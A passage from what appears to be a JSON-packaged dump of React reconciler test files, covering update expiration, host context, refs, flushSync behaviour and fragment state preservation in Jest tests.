resolveText('A0');\n      root.render(<App step={0} />);\n    });\n    assertLog(['A0', 'B', 'C']);\n    expect(root).toMatchRenderedOutput('A0BC');\n\n    await act(async () => {\n      React.startTransition(() => {\n        root.render(<App step={1} />);\n      });\n      await waitForAll([\n        'Suspend! [A1]',\n        // pre-warming\n        'B',\n        'C',\n        // end pre-warming\n        'Loading...',\n      ]);\n\n      // Lots of time elapses before the promise resolves\n      Scheduler.unstable_advanceTime(10000);\n      await resolveText('A1');\n      assertLog(['Promise resolved [A1]']);\n\n      await waitFor(['A1']);\n      expect(root).toMatchRenderedOutput('A0BC');\n\n      // Lots more time elapses. We're CPU-bound now, so we should treat this\n      // as starvation.\n      Scheduler.unstable_advanceTime(10000);\n\n      // The rest of the update finishes without yielding.\n      await waitFor([], {\n        additionalLogsAfterAttemptingToYield: ['B', 'C'],\n      });\n    });\n  });\n\n  it('flushSync should not affect expired work', async () => {\n    let setA;\n    let setB;\n    function App() {\n      const [a, _setA] = useState(0);\n      const [b, _setB] = useState(0);\n      setA = _setA;\n      setB = _setB;\n      return (\n        <>\n          <Text text={'A' + a} />\n          <Text text={'B' + b} />\n        </>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog(['A0', 'B0']);\n\n    await act(async () => {\n      startTransition(() => {\n        setA(1);\n      });\n      await waitFor(['A1']);\n\n      // Expire the in-progress update\n      Scheduler.unstable_advanceTime(10000);\n\n      ReactNoop.flushSync(() => {\n        setB(1);\n      });\n      assertLog(['A0', 'B1']);\n\n      // Now flush the original update. Because it expired, it should finish\n      // without yielding.\n      await waitFor(['A1'], {\n        additionalLogsAfterAttemptingToYield: ['B1'],\n      });\n    });\n  });\n\n  it('passive effects of expired update flush after paint', async () => {\n    function App({step}) {\n      useEffect(() => {\n        Scheduler.log('Effect: ' + step);\n      }, [step]);\n      return (\n        <>\n          <Text text={'A' + step} />\n          <Text text={'B' + step} />\n          <Text text={'C' + step} />\n        </>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App step={0} />);\n    });\n    assertLog(['A0', 'B0', 'C0', 'Effect: 0']);\n    expect(root).toMatchRenderedOutput('A0B0C0');\n\n    await act(async () => {\n      startTransition(() => {\n        root.render(<App step={1} />);\n      });\n      await waitFor(['A1']);\n\n      // Expire the update\n      Scheduler.unstable_advanceTime(10000);\n\n      // The update finishes without yielding. But it does not flush the effect.\n      await waitFor(['B1'], {\n        additionalLogsAfterAttemptingToYield: gate(\n          flags => flags.enableYieldingBeforePassive,\n        )\n          ? ['C1', 'Effect: 1']\n          : ['C1'],\n      });\n    });\n    if (!gate(flags => flags.enableYieldingBeforePassive)) {\n      // The effect flushes after paint.\n      assertLog(['Effect: 1']);\n    }\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactFiberHostContext-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nlet React;\nlet act;\nlet ReactFiberReconciler;\nlet ConcurrentRoot;\nlet DefaultEventPriority;\nlet NoEventPriority;\n\ndescribe('ReactFiberHostContext', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    act = React.act;\n    ReactFiberReconciler = require('react-reconciler');\n    ConcurrentRoot =\n      require('react-reconciler/src/ReactRootTags').ConcurrentRoot;\n    DefaultEventPriority =\n      require('react-reconciler/src/ReactEventPriorities').DefaultEventPriority;\n    NoEventPriority =\n      require('react-reconciler/src/ReactEventPriorities').NoEventPriority;\n  });\n\n  global.IS_REACT_ACT_ENVIRONMENT = true;\n\n  // @gate __DEV__\n  it('should send the context to prepareForCommit and resetAfterCommit', () => {\n    const rootContext = {};\n    const childContext = {};\n    let updatePriority: typeof DefaultEventPriority = NoEventPriority;\n    const Renderer = ReactFiberReconciler({\n      prepareForCommit: function (hostContext) {\n        expect(hostContext).toBe(rootContext);\n        return null;\n      },\n      resetAfterCommit: function (hostContext) {\n        expect(hostContext).toBe(rootContext);\n      },\n      getRootHostContext: function () {\n        return rootContext;\n      },\n      getChildHostContext: function () {\n        return childContext;\n      },\n      shouldSetTextContent: function () {\n        return false;\n      },\n      createInstance: function () {\n        return null;\n      },\n      finalizeInitialChildren: function () {\n        return null;\n      },\n      appendInitialChild: function () {\n        return null;\n      },\n      now: function () {\n        return 0;\n      },\n      appendChildToContainer: function () {\n        return null;\n      },\n      clearContainer: function () {},\n      setCurrentUpdatePriority: function (newPriority: any) {\n        updatePriority = newPriority;\n      },\n      getCurrentUpdatePriority: function () {\n        return updatePriority;\n      },\n      resolveUpdatePriority: function () {\n        if (updatePriority !== NoEventPriority) {\n          return updatePriority;\n        }\n        return DefaultEventPriority;\n      },\n      trackSchedulerEvent: function () {},\n      resolveEventType: function () {\n        return null;\n      },\n      resolveEventTimeStamp: function () {\n        return -1.1;\n      },\n      shouldAttemptEagerTransition() {\n        return false;\n      },\n      requestPostPaintCallback: function () {},\n      maySuspendCommit(type, props) {\n        return false;\n      },\n      maySuspendCommitOnUpdate(type, oldProps, newProps) {\n        return false;\n      },\n      maySuspendCommitInSyncRender(type, props) {\n        return false;\n      },\n      preloadInstance(instance, type, props) {\n        return true;\n      },\n      startSuspendingCommit() {\n        return null;\n      },\n      suspendInstance(state, instance, type, props) {},\n      suspendOnActiveViewTransition(state, container) {},\n      waitForCommitToBeReady(state, timeoutOffset) {\n        return null;\n      },\n      getSuspendedCommitReason(state, rootContainer) {\n        return null;\n      },\n      supportsMutation: true,\n    });\n\n    const container = Renderer.createContainer(\n      rootContext,\n      ConcurrentRoot,\n      null,\n      false,\n      null,\n      '',\n      () => {},\n      () => {},\n      () => {},\n      null,\n    );\n    act(() => {\n      Renderer.updateContainer(\n        <a>\n          <b />\n        </a>,\n        container,\n        /* parentComponent: */ null,\n        /* callback: */ null,\n      );\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactFiberRefs-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet Scheduler;\nlet ReactNoop;\nlet act;\nlet assertLog;\n\ndescribe('ReactFiberRefs', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    Scheduler = require('scheduler');\n    ReactNoop = require('react-noop-renderer');\n    act = require('internal-test-utils').act;\n    assertLog = require('internal-test-utils').assertLog;\n  });\n\n  it('ref is attached even if there are no other updates (class)', async () => {\n    let component;\n    class Component extends React.Component {\n      shouldComponentUpdate() {\n        // This component's output doesn't depend on any props or state\n        return false;\n      }\n      render() {\n        Scheduler.log('Render');\n        component = this;\n        return 'Hi';\n      }\n    }\n\n    const ref1 = React.createRef();\n    const ref2 = React.createRef();\n    const root = ReactNoop.createRoot();\n\n    // Mount with ref1 attached\n    await act(() => root.render(<Component ref={ref1} />));\n    assertLog(['Render']);\n    expect(root).toMatchRenderedOutput('Hi');\n    expect(ref1.current).toBe(component);\n    // ref2 has no value\n    expect(ref2.current).toBe(null);\n\n    // Switch to ref2, but don't update anything else.\n    await act(() => root.render(<Component ref={ref2} />));\n    // The component did not re-render because no props changed.\n    assertLog([]);\n    expect(root).toMatchRenderedOutput('Hi');\n    // But the refs still should have been swapped.\n    expect(ref1.current).toBe(null);\n    expect(ref2.current).toBe(component);\n  });\n\n  it('ref is attached even if there are no other updates (host component)', async () => {\n    // This is kind of ailly test because host components never bail out if they\n    // receive a new element, and there's no way to update a ref without also\n    // updating the props, but adding it here anyway for symmetry with the\n    // class case above.\n    const ref1 = React.createRef();\n    const ref2 = React.createRef();\n    const root = ReactNoop.createRoot();\n\n    // Mount with ref1 attached\n    await act(() => root.render(<div ref={ref1}>Hi</div>));\n    expect(root).toMatchRenderedOutput(<div>Hi</div>);\n    expect(ref1.current).not.toBe(null);\n    // ref2 has no value\n    expect(ref2.current).toBe(null);\n\n    // Switch to ref2, but don't update anything else.\n    await act(() => root.render(<div ref={ref2}>Hi</div>));\n    expect(root).toMatchRenderedOutput(<div>Hi</div>);\n    // But the refs still should have been swapped.\n    expect(ref1.current).toBe(null);\n    expect(ref2.current).not.toBe(null);\n  });\n\n  it('throw if a string ref is passed to a ref-receiving component', async () => {\n    let refProp;\n    function Child({ref}) {\n      // This component renders successfully because the ref type check does not\n      // occur until you pass it to a component that accepts refs.\n      //\n      // So the div will throw, but not Child.\n      refProp = ref;\n      return <div ref={ref} />;\n    }\n\n    class Owner extends React.Component {\n      render() {\n        return <Child ref=\"child\" />;\n      }\n    }\n\n    const root = ReactNoop.createRoot();\n    await expect(act(() => root.render(<Owner />))).rejects.toThrow(\n      'Expected ref to be a function',\n    );\n    expect(refProp).toBe('child');\n  });\n\n  it('strings refs can be codemodded to callback refs', async () => {\n    let app;\n    class App extends React.Component {\n      render() {\n        app = this;\n        return (\n          <div\n            prop=\"Hello!\"\n            ref={el => {\n              // `refs` used to be a shared frozen object unless/until a string\n              // ref attached by the reconciler, but it's not anymore so that we\n              // can codemod string refs to userspace callback refs.\n              this.refs.div = el;\n            }}\n          />\n        );\n      }\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => root.render(<App />));\n    expect(app.refs.div.prop).toBe('Hello!');\n  });\n\n  it('class refs are initialized to a frozen shared object', async () => {\n    const refsCollection = new Set();\n    class Component extends React.Component {\n      constructor(props) {\n        super(props);\n        refsCollection.add(this.refs);\n      }\n      render() {\n        return <div />;\n      }\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() =>\n      root.render(\n        <>\n          <Component />\n          <Component />\n        </>,\n      ),\n    );\n\n    expect(refsCollection.size).toBe(1);\n    const refsInstance = Array.from(refsCollection)[0];\n    expect(Object.isFrozen(refsInstance)).toBe(__DEV__);\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactFlushSync-test.js",
    "content": "let React;\nlet ReactDOM;\nlet ReactDOMClient;\nlet Scheduler;\nlet act;\nlet useState;\nlet useEffect;\nlet startTransition;\nlet assertLog;\nlet assertConsoleErrorDev;\nlet waitForPaint;\n\n// TODO: Migrate tests to React DOM instead of React Noop\n\ndescribe('ReactFlushSync', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n    useState = React.useState;\n    useEffect = React.useEffect;\n    startTransition = React.startTransition;\n\n    const InternalTestUtils = require('internal-test-utils');\n    assertLog = InternalTestUtils.assertLog;\n    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;\n    waitForPaint = InternalTestUtils.waitForPaint;\n  });\n\n  function Text({text}) {\n    Scheduler.log(text);\n    return text;\n  }\n\n  function getVisibleChildren(element: Element): React$Node {\n    const children = [];\n    let node: any = element.firstChild;\n    while (node) {\n      if (node.nodeType === 1) {\n        if (\n          ((node.tagName !== 'SCRIPT' && node.tagName !== 'script') ||\n            node.hasAttribute('data-meaningful')) &&\n          node.tagName !== 'TEMPLATE' &&\n          node.tagName !== 'template' &&\n          !node.hasAttribute('hidden') &&\n          !node.hasAttribute('aria-hidden')\n        ) {\n          const props: any = {};\n          const attributes = node.attributes;\n          for (let i = 0; i < attributes.length; i++) {\n            if (\n              attributes[i].name === 'id' &&\n              attributes[i].value.includes(':')\n            ) {\n              // We assume this is a React added ID that's a non-visual implementation detail.\n              continue;\n            }\n            props[attributes[i].name] = attributes[i].value;\n          }\n          props.children = getVisibleChildren(node);\n          children.push(\n            require('react').createElement(node.tagName.toLowerCase(), props),\n          );\n        }\n      } else if (node.nodeType === 3) {\n        children.push(node.data);\n      }\n      node = node.nextSibling;\n    }\n    return children.length === 0\n      ? undefined\n      : children.length === 1\n        ? children[0]\n        : children;\n  }\n\n  it('changes priority of updates in useEffect', async () => {\n    function App() {\n      const [syncState, setSyncState] = useState(0);\n      const [state, setState] = useState(0);\n      useEffect(() => {\n        if (syncState !== 1) {\n          setState(1);\n          ReactDOM.flushSync(() => setSyncState(1));\n        }\n      }, [syncState, state]);\n      return <Text text={`${syncState}, ${state}`} />;\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      React.startTransition(() => {\n        root.render(<App />);\n      });\n      // This will yield right before the passive effect fires\n      await waitForPaint(['0, 0']);\n\n      // The passive effect will schedule a sync update and a normal update.\n      // They should commit in two separate batches. First the sync one.\n      await waitForPaint(['1, 1']);\n\n      // The remaining update is not sync\n      ReactDOM.flushSync();\n      assertLog([]);\n      assertConsoleErrorDev([\n        'flushSync was called from inside a lifecycle method. React ' +\n          'cannot flush when React is already rendering. Consider moving this ' +\n          'call to a scheduler task or micro task.' +\n          '\\n    in App',\n      ]);\n\n      await waitForPaint([]);\n    });\n    expect(getVisibleChildren(container)).toEqual('1, 1');\n  });\n\n  it('supports nested flushSync with startTransition', async () => {\n    let setSyncState;\n    let setState;\n    function App() {\n      const [syncState, _setSyncState] = useState(0);\n      const [state, _setState] = useState(0);\n      setSyncState = _setSyncState;\n      setState = _setState;\n      return <Text text={`${syncState}, ${state}`} />;\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog(['0, 0']);\n    expect(getVisibleChildren(container)).toEqual('0, 0');\n\n    await act(() => {\n      ReactDOM.flushSync(() => {\n        startTransition(() => {\n          // This should be async even though flushSync is on the stack, because\n          // startTransition is closer.\n          setState(1);\n          ReactDOM.flushSync(() => {\n            // This should be async even though startTransition is on the stack,\n            // because flushSync is closer.\n            setSyncState(1);\n          });\n        });\n      });\n      // Only the sync update should have flushed\n      assertLog(['1, 0']);\n      expect(getVisibleChildren(container)).toEqual('1, 0');\n    });\n    // Now the async update has flushed, too.\n    assertLog(['1, 1']);\n    expect(getVisibleChildren(container)).toEqual('1, 1');\n  });\n\n  it('flushes passive effects synchronously when they are the result of a sync render', async () => {\n    function App() {\n      useEffect(() => {\n        Scheduler.log('Effect');\n      }, []);\n      return <Text text=\"Child\" />;\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      ReactDOM.flushSync(() => {\n        root.render(<App />);\n      });\n      assertLog([\n        'Child',\n        // Because the pending effect was the result of a sync update, calling\n        // flushSync should flush it.\n        'Effect',\n      ]);\n      expect(getVisibleChildren(container)).toEqual('Child');\n    });\n  });\n\n  // @gate !disableLegacyMode\n  it('does not flush passive effects synchronously after render in legacy mode', async () => {\n    function App() {\n      useEffect(() => {\n        Scheduler.log('Effect');\n      }, []);\n      return <Text text=\"Child\" />;\n    }\n\n    const container = document.createElement('div');\n    await act(() => {\n      ReactDOM.flushSync(() => {\n        ReactDOM.render(<App />, container);\n      });\n      assertLog([\n        'Child',\n        // Because we're in legacy mode, we shouldn't have flushed the passive\n        // effects yet.\n      ]);\n      expect(getVisibleChildren(container)).toEqual('Child');\n    });\n    // Effect flushes after paint.\n    assertLog(['Effect']);\n  });\n\n  // @gate !disableLegacyMode\n  it('flushes pending passive effects before scope is called in legacy mode', async () => {\n    let currentStep = 0;\n\n    function App({step}) {\n      useEffect(() => {\n        currentStep = step;\n        Scheduler.log('Effect: ' + step);\n      }, [step]);\n      return <Text text={step} />;\n    }\n\n    const container = document.createElement('div');\n    await act(() => {\n      ReactDOM.flushSync(() => {\n        ReactDOM.render(<App step={1} />, container);\n      });\n      assertLog([\n        1,\n        // Because we're in legacy mode, we shouldn't have flushed the passive\n        // effects yet.\n      ]);\n      expect(getVisibleChildren(container)).toEqual('1');\n\n      ReactDOM.flushSync(() => {\n        // This should render step 2 because the passive effect has already\n        // fired, before the scope function is called.\n        ReactDOM.render(<App step={currentStep + 1} />, container);\n      });\n      assertLog(['Effect: 1', 2]);\n      expect(getVisibleChildren(container)).toEqual('2');\n    });\n    assertLog(['Effect: 2']);\n  });\n\n  it(\"does not flush passive effects synchronously when they aren't the result of a sync render\", async () => {\n    function App() {\n      useEffect(() => {\n        Scheduler.log('Effect');\n      }, []);\n      return <Text text=\"Child\" />;\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(<App />);\n      await waitForPaint([\n        'Child',\n        // Because the passive effect was not the result of a sync update, it\n        // should not flush before paint.\n      ]);\n      expect(getVisibleChildren(container)).toEqual('Child');\n    });\n    // Effect flushes after paint.\n    assertLog(['Effect']);\n  });\n\n  it('does not flush pending passive effects', async () => {\n    function App() {\n      useEffect(() => {\n        Scheduler.log('Effect');\n      }, []);\n      return <Text text=\"Child\" />;\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(<App />);\n      await waitForPaint(['Child']);\n      expect(getVisibleChildren(container)).toEqual('Child');\n\n      // Passive effects are pending. Calling flushSync should not affect them.\n      ReactDOM.flushSync();\n      // Effects still haven't fired.\n      assertLog([]);\n    });\n    // Now the effects have fired.\n    assertLog(['Effect']);\n  });\n\n  it('completely exhausts synchronous work queue even if something throws', async () => {\n    function Throws({error}) {\n      throw error;\n    }\n\n    const container1 = document.createElement('div');\n    const root1 = ReactDOMClient.createRoot(container1);\n\n    const container2 = document.createElement('div');\n    const root2 = ReactDOMClient.createRoot(container2);\n\n    const container3 = document.createElement('div');\n    const root3 = ReactDOMClient.createRoot(container3);\n\n    await act(async () => {\n      root1.render(<Text text=\"Hi\" />);\n      root2.render(<Text text=\"Andrew\" />);\n      root3.render(<Text text=\"!\" />);\n    });\n    assertLog(['Hi', 'Andrew', '!']);\n\n    const aahh = new Error('AAHH!');\n    const nooo = new Error('Noooooooooo!');\n\n    let error;\n    try {\n      await act(() => {\n        ReactDOM.flushSync(() => {\n          root1.render(<Throws error={aahh} />);\n          root2.render(<Throws error={nooo} />);\n          root3.render(<Text text=\"aww\" />);\n        });\n      });\n    } catch (e) {\n      error = e;\n    }\n\n    // The update to root 3 should have finished synchronously, even though the\n    // earlier updates errored.\n    assertLog(['aww']);\n    // Roots 1 and 2 were unmounted.\n    expect(getVisibleChildren(container1)).toEqual(undefined);\n    expect(getVisibleChildren(container2)).toEqual(undefined);\n    expect(getVisibleChildren(container3)).toEqual('aww');\n\n    // Because there were multiple errors, React threw an AggregateError.\n    expect(error).toBeInstanceOf(AggregateError);\n    expect(error.errors.length).toBe(2);\n    expect(error.errors[0]).toBe(aahh);\n    expect(error.errors[1]).toBe(nooo);\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactFlushSyncNoAggregateError-test.js",
    "content": "let React;\nlet ReactDOM;\nlet ReactDOMClient;\nlet Scheduler;\nlet act;\nlet assertLog;\n\nlet overrideQueueMicrotask;\nlet flushFakeMicrotasks;\n\n// TODO: Migrate tests to React DOM instead of React Noop\n\ndescribe('ReactFlushSync (AggregateError not available)', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    global.AggregateError = undefined;\n\n    // When AggregateError is not available, the errors are rethrown in a\n    // microtask. This is an implementation detail but we want to test it here\n    // so override the global one.\n    const originalQueueMicrotask = queueMicrotask;\n    overrideQueueMicrotask = false;\n    const fakeMicrotaskQueue = [];\n    global.queueMicrotask = cb => {\n      if (overrideQueueMicrotask) {\n        fakeMicrotaskQueue.push(cb);\n      } else {\n        originalQueueMicrotask(cb);\n      }\n    };\n    flushFakeMicrotasks = () => {\n      while (fakeMicrotaskQueue.length > 0) {\n        const cb = fakeMicrotaskQueue.shift();\n        cb();\n      }\n    };\n\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n\n    const InternalTestUtils = require('internal-test-utils');\n    assertLog = InternalTestUtils.assertLog;\n  });\n\n  function Text({text}) {\n    Scheduler.log(text);\n    return text;\n  }\n\n  function getVisibleChildren(element: Element): React$Node {\n    const children = [];\n    let node: any = element.firstChild;\n    while (node) {\n      if (node.nodeType === 1) {\n        if (\n          ((node.tagName !== 'SCRIPT' && node.tagName !== 'script') ||\n            node.hasAttribute('data-meaningful')) &&\n          node.tagName !== 'TEMPLATE' &&\n          node.tagName !== 'template' &&\n          !node.hasAttribute('hidden') &&\n          !node.hasAttribute('aria-hidden')\n        ) {\n          const props: any = {};\n          const attributes = node.attributes;\n          for (let i = 0; i < attributes.length; i++) {\n            if (\n              attributes[i].name === 'id' &&\n              attributes[i].value.includes(':')\n            ) {\n              // We assume this is a React added ID that's a non-visual implementation detail.\n              continue;\n            }\n            props[attributes[i].name] = attributes[i].value;\n          }\n          props.children = getVisibleChildren(node);\n          children.push(\n            require('react').createElement(node.tagName.toLowerCase(), props),\n          );\n        }\n      } else if (node.nodeType === 3) {\n        children.push(node.data);\n      }\n      node = node.nextSibling;\n    }\n    return children.length === 0\n      ? undefined\n      : children.length === 1\n        ? children[0]\n        : children;\n  }\n\n  it('completely exhausts synchronous work queue even if something throws', async () => {\n    function Throws({error}) {\n      throw error;\n    }\n\n    const container1 = document.createElement('div');\n    const root1 = ReactDOMClient.createRoot(container1);\n    const container2 = document.createElement('div');\n    const root2 = ReactDOMClient.createRoot(container2);\n    const container3 = document.createElement('div');\n    const root3 = ReactDOMClient.createRoot(container3);\n\n    await act(async () => {\n      root1.render(<Text text=\"Hi\" />);\n      root2.render(<Text text=\"Andrew\" />);\n      root3.render(<Text text=\"!\" />);\n    });\n    assertLog(['Hi', 'Andrew', '!']);\n\n    const aahh = new Error('AAHH!');\n    const nooo = new Error('Noooooooooo!');\n\n    // Override the global queueMicrotask so we can test the behavior.\n    overrideQueueMicrotask = true;\n    let error;\n    try {\n      await act(() => {\n        ReactDOM.flushSync(() => {\n          root1.render(<Throws error={aahh} />);\n          root2.render(<Throws error={nooo} />);\n          root3.render(<Text text=\"aww\" />);\n        });\n      });\n    } catch (e) {\n      error = e;\n    }\n\n    // The update to root 3 should have finished synchronously, even though the\n    // earlier updates errored.\n    assertLog(['aww']);\n    // Roots 1 and 2 were unmounted.\n    expect(getVisibleChildren(container1)).toEqual(undefined);\n    expect(getVisibleChildren(container2)).toEqual(undefined);\n    expect(getVisibleChildren(container3)).toEqual('aww');\n\n    // In modern environments, React would throw an AggregateError. Because\n    // AggregateError is not available, React throws the first error, then\n    // throws the remaining errors in separate tasks.\n    expect(error).toBe(aahh);\n    await flushFakeMicrotasks();\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactFragment-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n'use strict';\n\nlet React;\nlet ReactNoop;\nlet waitForAll;\nlet assertConsoleErrorDev;\n\ndescribe('ReactFragment', () => {\n  beforeEach(function () {\n    jest.resetModules();\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;\n  });\n\n  it('should render a single child via noop renderer', async () => {\n    const element = (\n      <>\n        <span>foo</span>\n      </>\n    );\n\n    ReactNoop.render(element);\n    await waitForAll([]);\n\n    expect(ReactNoop).toMatchRenderedOutput(<span>foo</span>);\n  });\n\n  it('should render zero children via noop renderer', async () => {\n    const element = <React.Fragment />;\n\n    ReactNoop.render(element);\n    await waitForAll([]);\n\n    expect(ReactNoop).toMatchRenderedOutput(null);\n  });\n\n  it('should render multiple children via noop renderer', async () => {\n    const element = (\n      <>\n        hello <span>world</span>\n      </>\n    );\n\n    ReactNoop.render(element);\n    await waitForAll([]);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        hello <span>world</span>\n      </>,\n    );\n  });\n\n  it('should render an iterable via noop renderer', async () => {\n    const element = (\n      <>{new Set([<span key=\"a\">hi</span>, <span key=\"b\">bye</span>])}</>\n    );\n\n    ReactNoop.render(element);\n    await waitForAll([]);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>hi</span>\n        <span>bye</span>\n      </>,\n    );\n  });\n\n  it('should preserve state of children with 1 level nesting', async function () {\n    const ops = [];\n\n    class Stateful extends React.Component {\n      componentDidUpdate() {\n        ops.push('Update Stateful');\n      }\n\n      render() {\n        return <div>Hello</div>;\n      }\n    }\n\n    function Foo({condition}) {\n      return condition ? (\n        <Stateful key=\"a\" />\n      ) : (\n        <>\n          <Stateful key=\"a\" />\n          <div key=\"b\">World</div>\n        </>\n      );\n    }\n\n    ReactNoop.render(<Foo condition={true} />);\n    await waitForAll([]);\n\n    ReactNoop.render(<Foo condition={false} />);\n    await waitForAll([]);\n\n    expect(ops).toEqual(['Update Stateful']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <div>Hello</div>\n        <div>World</div>\n      </>,\n    );\n\n    ReactNoop.render(<Foo condition={true} />);\n    await waitForAll([]);\n\n    expect(ops).toEqual(['Update Stateful', 'Update Stateful']);\n    expect(ReactNoop).toMatchRenderedOutput(<div>Hello</div>);\n  });\n\n  it('should preserve state between top-level fragments', async function () {\n    const ops = [];\n\n    class Stateful extends React.Component {\n      componentDidUpdate() {\n        ops.push('Update Stateful');\n      }\n\n      render() {\n        return <div>Hello</div>;\n      }\n    }\n\n    function Foo({condition}) {\n      return condition ? (\n        <>\n          <Stateful />\n        </>\n      ) : (\n        <>\n          <Stateful />\n        </>\n      );\n    }\n\n    ReactNoop.render(<Foo condition={true} />);\n    await waitForAll([]);\n\n    ReactNoop.render(<Foo condition={false} />);\n    await waitForAll([]);\n\n    expect(ops).toEqual(['Update Stateful']);\n    expect(ReactNoop).toMatchRenderedOutput(<div>Hello</div>);\n\n    ReactNoop.render(<Foo condition={true} />);\n    await waitForAll([]);\n\n    expect(ops).toEqual(['Update Stateful', 'Update Stateful']);\n    expect(ReactNoop).toMatchRenderedOutput(<div>Hello</div>);\n  });\n\n  it('should preserve state of children nested at same level', async function () {\n    const ops = [];\n\n    class Stateful extends React.Component {\n      componentDidUpdate() {\n        ops.push('Update Stateful');\n      }\n\n      render() {\n        return <div>Hello</div>;\n      }\n    }\n\n    function Foo({condition}) {\n      return condition ? (\n        <>\n          <>\n            <>\n              <Stateful key=\"a\" />\n            </>\n          </>\n        </>\n      ) : (\n        <>\n          <>\n            <>\n              <div />\n              <Stateful key=\"a\" />\n            </>\n          </>\n        </>\n      );\n    }\n\n    ReactNoop.render(<Foo condition={true} />);\n    await waitForAll([]);\n\n    ReactNoop.render(<Foo condition={false} />);\n    await waitForAll([]);\n\n    expect(ops).toEqual(['Update Stateful']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <div />\n        <div>Hello</div>\n      </>,\n    );\n\n    ReactNoop.render(<Foo condition={true} />);\n    await waitForAll([]);\n\n    expect(ops).toEqual(['Update Stateful', 'Update Stateful']);\n    expect(ReactNoop).toMatchRenderedOutput(<div>Hello</div>);\n  });\n\n  it('should not preserve state in non-top-level fragment nesting', async function () {\n    const ops = [];\n\n    class Stateful extends React.Component {\n      componentDidUpdate() {\n        ops.push('Update Stateful');\n      }\n\n      render() {\n        return <div>Hello</div>;\n      }\n    }\n\n    function Foo({condition}) {\n      return condition ? (\n        <>\n          <>\n            <Stateful key=\"a\" />\n          </>\n        </>\n      ) : (\n        <>\n          <Stateful key=\"a\" />\n        </>\n      );\n    }\n\n    ReactNoop.render(<Foo condition={true} />);\n    await waitForAll([]);\n\n    ReactNoop.render(<Foo condition={false} />);\n    await waitForAll([]);\n\n    expect(ops).toEqual([]);\n    expect(ReactNoop).toMatchRenderedOutput(<div>Hello</div>);\n\n    ReactNoop.render(<Foo condition={true} />);\n    await waitForAll([]);\n\n    expect(ops).toEqual([]);\n    expect(ReactNoop).toMatchRenderedOutput(<div>Hello</div>);\n  });\n\n  it('should not preserve state of children if nested 2 levels without siblings', async function () {\n    const ops = [];\n\n    class Stateful extends React.Component {\n      componentDidUpdate() {\n        ops.push('Update Stateful');\n      }\n\n      render() {\n        return <div>Hello</div>;\n      }\n    }\n\n    function Foo({condition}) {\n      return condition ? (\n        <Stateful key=\"a\" />\n      ) : (\n        <>\n          <>\n            <Stateful key=\"a\" />\n          </>\n        </>\n      );\n    }\n\n    ReactNoop.render(<Foo condition={true} />);\n    await waitForAll([]);\n\n    ReactNoop.render(<Foo condition={false} />);\n    await waitForAll([]);\n\n    expect(ops).toEqual([]);\n    expect(ReactNoop).toMatchRenderedOutput(<div>Hello</div>);\n\n    ReactNoop.render(<Foo condition={true} />);\n    await waitForAll([]);\n\n    expect(ops).toEqual([]);\n    expect(ReactNoop).toMatchRenderedOutput(<div>Hello</div>);\n  });\n\n  it('should not preserve state of children if nested 2 levels with siblings', async function () {\n    const ops = [];\n\n    class Stateful extends React.Component {\n      componentDidUpdate() {\n        ops.push('Update Stateful');\n      }\n\n      render() {\n        return <div>Hello</div>;\n      }\n    }\n\n    function Foo({condition}) {\n      return condition ? (\n        <Stateful key=\"a\" />\n      ) : (\n        <>\n          <>\n            <Stateful key=\"a\" />\n          </>\n          <div />\n        </>\n      );\n    }\n\n    ReactNoop.render(<Foo condition={true} />);\n    await waitForAll([]);\n\n    ReactNoop.render(<Foo condition={false} />);\n    await waitForAll([]);\n\n    expect(ops).toEqual([]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <div>Hello</div>\n        <div />\n      </>,\n    );\n\n    